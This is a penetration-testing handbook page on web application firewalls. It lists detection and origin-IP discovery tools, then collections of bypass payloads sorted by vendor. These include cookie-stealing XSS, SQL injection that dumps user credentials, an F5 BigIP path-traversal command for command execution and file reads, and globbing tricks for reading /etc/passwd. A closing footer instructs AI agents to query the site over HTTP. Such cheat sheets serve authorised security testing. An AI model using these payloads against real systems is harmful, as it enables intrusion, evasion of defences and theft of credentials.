# WAFs

{% embed url="<https://waf-bypass.com>" %}

## Tools

```
whatwaf https://example.com
wafw00f https://example.com

# https://github.com/vincentcox/bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d example.com

# Bypasser
# https://github.com/RedSection/pFuzz
# https://github.com/nemesida-waf/waf-bypass

# Domain IP history
https://viewdns.info/iphistory/

# Bypasses and info
https://github.com/0xInfection/Awesome-WAF
https://github.com/waf-bypass-maker/waf-community-bypasses
```

```
# Manual identification
dig +short target.com
curl -s https://ipinfo.io/<ip address> | jq -r '.com'

# Always check DNS History for original IP leak
https://whoisrequest.com/history/

# Waf detection
nmap --script=http-waf-fingerprint victim.com
nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 victim.com
nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro " victim.com
wafw00f victim.com

# Good bypass payload:
%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)
javascript:”/*’/*`/* →<html \” onmouseover=/*&lt;svg/*/onload=alert()//>

# Bypass trying to access to :
dev.domain.com
stage.domain.com
ww1/ww2/ww3...domain.com
www.domain.uk/jp/

# Akamai
origin.sub.domain.com
origin-sub.domain.com
- Send header:
Pragma: akamai-x-get-true-cache-key
{{constructor.constructor(alert`1`)()}}
\');confirm(1);//
444/**/OR/**/MID(CURRENT_USER,1,1)/**/LIKE/**/"p"/**/#

# ModSecurity Bypass
<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>

# Cloudflare
python3 cloudflair.py domain.com
# https://github.com/mandatoryprogrammer/cloudflare_enum
cloudflare_enum.py disney.com
https://viewdns.info/iphistory/?domain=domain.com
https://whoisrequest.com/history/

# Cloudflare bypasses
<!<script>alert(1)</script>
<a href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this[‘document’][‘cookie’]&rpar;”>X</a>
<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert'1';>
<select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>
<a+HREF=’%26%237javascrip%26%239t:alert%26lpar;document.domain)’>

# Aqtronix WebKnight WAF
- SQLi
0 union(select 1,@@hostname,@@datadir)
0 union(select 1,username,password from(users))
- XSS
<details ontoggle=alert(document.cookie)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

# ModSecurity
- XSS
<scr%00ipt>alert(document.cookie)</scr%00ipt>
onmouseover%0B=
ontoggle%0B%3D
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(“123”)>
- SQLi
1+uni%0Bon+se%0Blect+1,2,3

# Imperva Incapsula
https://medium.com/@0xpegg/imperva-waf-bypass-96360189c3c5
url.com/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%5F%24%3A%2B%2Bp%2C%24%5F%24%5F%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%24%5F%3A%2B%2Bp%2C%24%5F%24%24%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%24%3A%28p%5Bp%5D%2B%22%22%29%5Bp%5D%2C%5F%24%24%3A%2B%2Bp%2C%24%24%24%5F%3A%28%21%22%22%2B%22%22%29%5Bp%5D%2C%24%5F%5F%3A%2B%2Bp%2C%24%5F%24%3A%2B%2Bp%2C%24%24%5F%5F%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%3A%2B%2Bp%2C%24%24%24%3A%2B%2Bp%2C%24%5F%5F%5F%3A%2B%2Bp%2C%24%5F%5F%24%3A%2B%2Bp%7D%3Bp%2E%24%5F%3D%28p%2E%24%5F%3Dp%2B%22%22%29%5Bp%2E%24%5F%24%5D%2B%28p%2E%5F%24%3Dp%2E%24%5F%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%24%24%3D%28p%2E%24%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28%28%21p%29%2B%22%22%29%5Bp%2E%5F%24%24%5D%2B%28p%2E%5F%5F%3Dp%2E%24%5F%5Bp%2E%24%24%5F%5D%29%2B%28p%2E%24%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%5F%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%5F%5D%29%2Bp%2E%24%5F%5Bp%2E%24%5F%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%24%2Bp%2E%24%3Bp%2E%24%24%3Dp%2E%24%2B%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%2Bp%2E%24%2Bp%2E%24%24%3Bp%2E%24%3D%28p%2E%5F%5F%5F%29%5Bp%2E%24%5F%5D%5Bp%2E%24%5F%5D%3Bp%2E%24%28p%2E%24%28p%2E%24%24%2B%22%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
- Parameter pollution SQLi
http://www.website.com/page.asp?a=nothing'/*&a=*/or/*&a=*/1=1/*&a=*/--+-
http://www.website.com/page.asp?a=nothing'/*&a%00=*/or/*&a=*/1=1/*&a%00=*/--+-
-XSS
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
<img/src="x"/onerror="[7 char payload goes here]">

# FAIL2BAN SQLi
(SELECT 6037 FROM(SELECT COUNT(*),CONCAT(0x7176706b71,(SELECT (ELT(6037=6037,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

# F5 BigIP
RCE: curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
Read File: curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
- XSS
<body style="height:1000px" onwheel=alert(“123”)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow=alert(“123”)>
<body style="height:1000px" onwheel="[JS-F**k Payload]"> 
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[]
)[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[
+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![
]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[
]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" on-
show="prom%25%32%33%25%32%36x70;t(1)">

# More payloads
https://github.com/Walidhossain010/WAF-bypass-xss-payloads

# Wordfence
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>

# RCE WAF globbing bypass
/usr/bin/cat /etc/passwd ==  /???/???/c?t$IFS/???/p?s?w?
cat /etc$u/p*s*wd$u
```

![](/files/-MIIrIqJDFcjRCxmlZfX)

![](/files/-MTo2ISjtWr4ZFuH8cMT)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/webservices/wafs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
